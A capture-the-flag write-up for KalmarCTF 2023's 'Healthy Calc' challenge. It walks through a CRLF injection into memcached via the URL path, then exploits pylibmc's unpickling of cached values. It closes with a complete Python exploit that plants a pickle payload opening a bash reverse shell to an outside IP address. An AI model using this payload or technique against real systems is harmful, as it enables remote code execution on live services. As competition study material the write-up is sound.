Contents

KalmarCTF 2023 Healthy Calc wp

Healthy Calc

chall overview

Dockerfile:

COPY flag /flag
COPY readflag.c /readflag.c
RUN gcc /readflag.c -o /readflag
RUN chown root:root /flag     && chmod 400 /flag
RUN chown root:root /readflag && chmod 4755 /readflag

From the dockerfile it’s obvious we need to rce, let’s have a look at chall.py:

OPERATION_SYMBOLS = {"add": "+", "sub": "-", "mult": "*"}
OPERATIONS = {
    "add": lambda lhs, rhs: cache_lookup(_add, lhs, rhs),
    "sub": lambda lhs, rhs: cache_lookup(_sub, lhs, rhs),
    "mult": lambda lhs, rhs: cache_lookup(_mult, lhs, rhs),
}

application = Flask(__name__)
bp = Blueprint("routes", __name__)
celery = Celery(__name__)

@bp.route("/calc/<operation>/<lhs>/<rhs>")
async def calc(operation: str, lhs: int, rhs: int):
    if operation not in OPERATIONS:
        return jsonify({"err": f"Unknown operation: {operation}"})
    f = OPERATIONS[operation]
    try:
        return jsonify({"ans": await f(lhs, rhs)})
    except Exception as ex:
        return str(ex)

def gp(n) -> int:
    """ guess precision """
    if str(n).endswith(".0"):
        return int(n)
    else:
        return float(n)

async def cache_lookup(operation, lhs: int, rhs: int) -> int:
    k = f"{operation.name}_{lhs}_{rhs}"
    print(k)
    try:
        return gp(celery.backend.get(k))
    except:
        pass  # skip cache miss
    ans = gp(await operation(lhs, rhs))
    celery.backend.set(k, ans)
    return ans

The chall code is clear and simple:

But the calc() with gp() processed seems not vulnerable, so I think we should figure out a way to rce via cache.

memcached

CRLF injection

The first thing came to my mind was absolutely CRLF injection, so I tried sending request with \r\n set ... to set a value in memcached when checking for cache:

https://pics.kdxcxs.com:4433/images/2023/03/08/20230308110337.png

Concept proved. But we need something else to trigger rce. After some digging, I found that pylibmc will load the data from memcached as pickle data(source), so we just need to add the pickle payload into memcached with flag set to 1 could trigger the rce.

exp

import requests, base64
from urllib.parse import quote

endpoint = 'http://healthy-calc.chal-kalmarc.tf:8080'

pickle_payload = f"I0\np0\n0S'bash -c \\'{{echo,{base64.b64encode(b'bash -i >& /dev/tcp/1.15.5.67/4444 0>&1')}}}|{{base64,-d}}|{{bash,-i}}\\''\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR.".encode()

payload = quote('\r\n').join([
    '/calc/add/666/666',
    quote(f'set uwsgi_file__app_chall._add_777_777 1 0 {len(pickle_payload)}'),
    quote(pickle_payload),
    '',
])

print(payload)
# write payload to memcached
r = requests.get(endpoint + payload)
# trrigger the payload
r = requests.get(endpoint + '/calc/add/777/777')

reference